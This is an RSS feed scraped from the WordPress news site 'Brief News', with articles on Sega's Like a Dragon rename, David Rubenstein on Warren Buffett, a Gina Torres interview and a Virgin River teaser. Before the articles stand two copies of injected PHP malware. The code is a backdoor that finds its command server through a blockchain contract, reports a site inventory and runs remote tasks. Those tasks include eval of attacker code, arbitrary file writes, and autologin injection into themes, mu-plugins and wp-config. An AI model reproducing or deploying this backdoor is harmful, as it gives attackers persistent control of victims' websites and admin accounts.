// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); explains – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 14 Sep 2022 18:47:55 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png explains – Brief News https://briefnews.eu 32 32 Sega explains why it’s officially ditching the Yakuza name for Like a Dragon https://briefnews.eu/sega-explains-why-its-officially-ditching-the-yakuza-name-for-like-a-dragon/ https://briefnews.eu/sega-explains-why-its-officially-ditching-the-yakuza-name-for-like-a-dragon/#respond Wed, 14 Sep 2022 18:47:55 +0000 https://briefnews.eu/sega-explains-why-its-officially-ditching-the-yakuza-name-for-like-a-dragon/ The Yakuza name is no more, as Sega plans to officially rebrand the series of crime dramas under the franchise name “Like a Dragon” moving forward — a move that became apparent with the reveal of three new games prior to this year’s Tokyo Game Show. Speaking to Digital Trends, a Sega of America representative confirmed the reason for the name change. 

“I can confirm the series will be known as “Like a Dragon” moving forward to more closely align with the Japanese name,” a representative for Sega of America tells Digital Trends.

In Japan, Sega has called the series Ryū ga Gotoku since its inception in 2005, and that phrase is even the namesake of developer RGG Studio. “Ryū ga Gotoku” translates to “like a dragon” in English, but Sega decided to call the series Yakuza when it brought the first game to the West in 2006. Now that the series is more popular than ever and largely moved on from telling stories directly focused on the Yakuza, it makes sense for Sega to give the series a similar title in all regions. Sega localization producer Scott Strichart pointed out on Twitter that 2020’s Yakuza: Like a Dragon foreshadowed the change by naming a chapter “Chapter 12: The End of Yakuza.” Strichart is not involved with the localization of upcoming Like a Dragon titles. 

I don&#39;t know how we could have been any clearer pic.twitter.com/tc4WuU89OA

&mdash; Scott Strichart (@TriggerRedd) September 14, 2022

Three Like a Dragon games are in the works for PC, PS4, PS5, Xbox One, and Xbox Series X/S. Like a Dragon: Ishin will be the first one of them to release, as it launches on February 23, 2023. Like a Dragon Gaiden: The Man Who Erased His Name follows later next year, while Like a Dragon 8 continues the mainline series in 2024.

]]> https://briefnews.eu/sega-explains-why-its-officially-ditching-the-yakuza-name-for-like-a-dragon/feed/ 0 Billionaire David Rubenstein explains why he admires Warren Buffett – and lays out the traits shared by the world’s best investors https://briefnews.eu/billionaire-david-rubenstein-explains-why-he-admires-warren-buffett-and-lays-out-the-traits-shared-by-the-worlds-best-investors/ https://briefnews.eu/billionaire-david-rubenstein-explains-why-he-admires-warren-buffett-and-lays-out-the-traits-shared-by-the-worlds-best-investors/#respond Tue, 06 Sep 2022 11:50:26 +0000 https://briefnews.eu/billionaire-david-rubenstein-explains-why-he-admires-warren-buffett-and-lays-out-the-traits-shared-by-the-worlds-best-investors/ warren buffett
Warren Buffett.

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  • Warren Buffett's intellect, focus, and passion for investing are admirable, David Rubenstein said.
  • The Carlyle Group cofounder interviewed several of the world's elite investors for his upcoming book.
  • The billionaire investor found them to be surprisingly humble, contrarian thinkers, and workaholics.

David Rubenstein admires Warren Buffett's intellect, focus, and love of investing for its own sake instead of the luxury lifestyle it can fund, Fox Business reported this week.

"He has pretty good instincts and intuition," the billionaire investor and Carlyle Group cofounder said at the National Book Festival on Saturday, according to Fox.

Rubenstein has spent the last year studying and interviewing top investors such as Ray Dalio, Seth Klarman, and Stanley Druckenmiller for his upcoming book, "How to Invest: Masters on the Craft."

His comments speak to Buffett's business acumen, how the Berkshire Hathaway CEO makes concentrated bets and rarely strays outside his "circle of competence," and Buffett's joke that he "tap dances to work" because he enjoys his job so much.

Meanwhile, Buffett's instincts and intuition have helped him to avoid disasters such as the dot-com crash, pounce on investments when the price is right, and strike fast and simple deals with people he's determined are trustworthy.

Rubenstein touched on whether Buffett's talents are best put to use as an investor in a recent New York Times interview.

"Would the world be better off if Warren Buffett was a schoolteacher?" he asked. "I don't know," he continued, adding that perhaps investors are hugely overpaid relative to schoolteachers.

The private equity tycoon detailed the traits shared by some of the world's best investors.

"People would be surprised that these individuals are relatively humble," Rubenstein told the newspaper. "They have a certain amount of humility because they realize the markets can make you and break you."

Rubenstein also noted that elite investors have gotten lucky in some ways, but suggested that prospering over several decades requires more than luck. Moreover, he argued they weren't born with their investing prowess, they developed it over time.

Carlyle's co-chairman noted in a CNBC interview that great investors tend to come from middle-class families, they do well in school and have a natural affinity for math, and they love to read. They also enjoy being in control, making final decisions, and going against conventional wisdom, he said.

"They're workaholics," Rubenstein said. "These people love what they're doing, and if they weren't making the enormous amounts of money that they're making, they'd still do it."

Top investors are adept at recognizing when they've made a mistake and pulling their money out, moving on from failures, and scooping up bargains when markets crash and thei peers panic, Rubenstein told CNN.

It's easy to see how Buffett fits the profile that Rubenstein laid out. The Berkshire chief has underscored how lucky he was to be born in a country that rewarded his skills, and to live so long. At 92 years old, he's had more time to compound his wealth than most people.

Moreover, Buffett's father was a banker and state representative, the investor is a whiz with numbers and reads 500 pages a day, and he controls Berkshire and decides how to allocate its capital.

Buffett has also owned up to mistakes, such as selling Apple and Costco stock in the fall of 2020. He invested in BYD, Chevron, and Apple after being burnt by PetroChina, ConocoPhillips, and IBM. Also, one of his best-known pieces of advice is to act contrarian and "be greedy when others are fearful."

Read more: 'Richer, Wiser, Happier' author William Green interviewed dozens of the world's best investors. He breaks down the 6 key traits they share, and gives examples of them in action.

Read the original article on Business Insider

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]]> https://briefnews.eu/billionaire-david-rubenstein-explains-why-he-admires-warren-buffett-and-lays-out-the-traits-shared-by-the-worlds-best-investors/feed/ 0 Gina Torres Explains How Firefly Brought Her to 9-1-1: Lone Star https://briefnews.eu/gina-torres-explains-how-firefly-brought-her-to-9-1-1-lone-star/ https://briefnews.eu/gina-torres-explains-how-firefly-brought-her-to-9-1-1-lone-star/#respond Sun, 17 Jan 2021 19:04:51 +0000 https://briefnews.eu/gina-torres-explains-how-firefly-brought-her-to-9-1-1-lone-star/

After a decade of brawling in boardrooms on USA Network, Gina Torres is getting back into the field on 9-1-1: Lone Star, and she’s loving every minute of it. “As fabulous as it was playing Jessica Pearson, I feel safer climbing rigs and getting shot at than I did walking around in 5.5-inch stilettos for hours,” she tells TVLine.

That exact scenario unfolds in the Fox drama’s second season premiere (Monday, 9/8c) when Torres’ character Tommy Vega — who steps in to replace departing paramedic captain Michelle Blake (Liv Tyler) — takes part in a dangerous medical rescue mission atop a cell tower.

“I’m a physical person, and I love doing my own stunts,” Torres says, adding that she filmed this particular scene on her very first day. “They were like, ‘You’re going to climb this rig… and you’re going to get shot at.’ That was Day 1. But pretty soon, I was just like, ‘I remember this! Being outside, having people shoot at you in 110-degree weather, I’ve done this!’”

Check out an exclusive clip of Tommy and Owen (Rob Lowe) in action below:

Unfortunately, Tommy doesn’t necessarily share her portrayer’s confidence. “Like so many parents, she’s rejiggering her life and reinventing how she’s going to provide for herself and her family,” Torres says. “Their restaurant closed down, so her husband’s out of work, and she has this incredible skillset in a field that absolutely has needs. So she goes back to work after an eight year absence, not knowing if her badass card has been revoked.” (Spoiler alert: It has not been revoked.)

“[Executive producer] Tim Minear is completely responsible for bringing me onto this show and drawing such a great character for me to play,” Torres adds. “He literally made it impossible for me to say no. I’ve loved his brain for almost 20 years, since we got to work on Firefly together. To get this beautiful offer in the middle of this crazy pandemic, where I didn’t know how or if I was going to work again, was mind-blowing and has been nothing but a blessing since Day 1. It wraps up all the reasons why I became an actor in the first place.”

Read on for more of our Q&A with Torres, including the on-set reunion she wasn’t even aware of:

TVLINE | We learn in the premiere that Tommy is old friends with Judd and Grace, which is funny, because you and Jim Parrack have worked together before.
Wait, have we?

TVLINE | According to IMDb, he guest-starred in an episode of Stand Off with you.
[Laughs] Really? Wow. That was one of those shows, not unlike Suits, where I was not a part of the action. I was the lieutenant who was somewhere else telling people what to do. There were so many guest stars on that show that I never got to meet or work with, as there were on Suits, so it’s entirely possible he was on that show and I just had no idea.

TVLINE | Something else I was wondering: Do you happen to know what Tommy is short for?
I actually have no idea. And I asked, I did! I was like, “Thomassina?” I think Tim said, “Maybe.” He wouldn’t get specific.

TVLINE | Lastly, give us a little tease. What can we expect from Tommy vs. the volcano in Episode 2?
I win! [Laughs] I believe it’s already been teased that it comes at a great cost to the team, and I think that’s all I can say.

Are you excited to see Torres on 9-1-1: Lone Star? Hit PLAY on the video above, then drop a comment with your thoughts below.

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]]> https://briefnews.eu/gina-torres-explains-how-firefly-brought-her-to-9-1-1-lone-star/feed/ 0 Virgin River Boss Explains Why She Waited to Go ‘There’ With Mel and Jack https://briefnews.eu/virgin-river-boss-explains-why-she-waited-to-go-there-with-mel-and-jack/ https://briefnews.eu/virgin-river-boss-explains-why-she-waited-to-go-there-with-mel-and-jack/#respond Sat, 28 Nov 2020 18:36:38 +0000 https://briefnews.eu/virgin-river-boss-explains-why-she-waited-to-go-there-with-mel-and-jack/

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Warning: We’re about to spoil Season 2, Episode 2 of Netflix’s Virgin River. Need to catch up? You know what to do.

Well, folks, it finally happened. After 12 episodes of Virgin River — plus nearly a full year of waiting between seasons — Mel Monroe and Jack Sheridan finally went to the bone zone. So as far as that relationship is concerned, the show is just called River now.

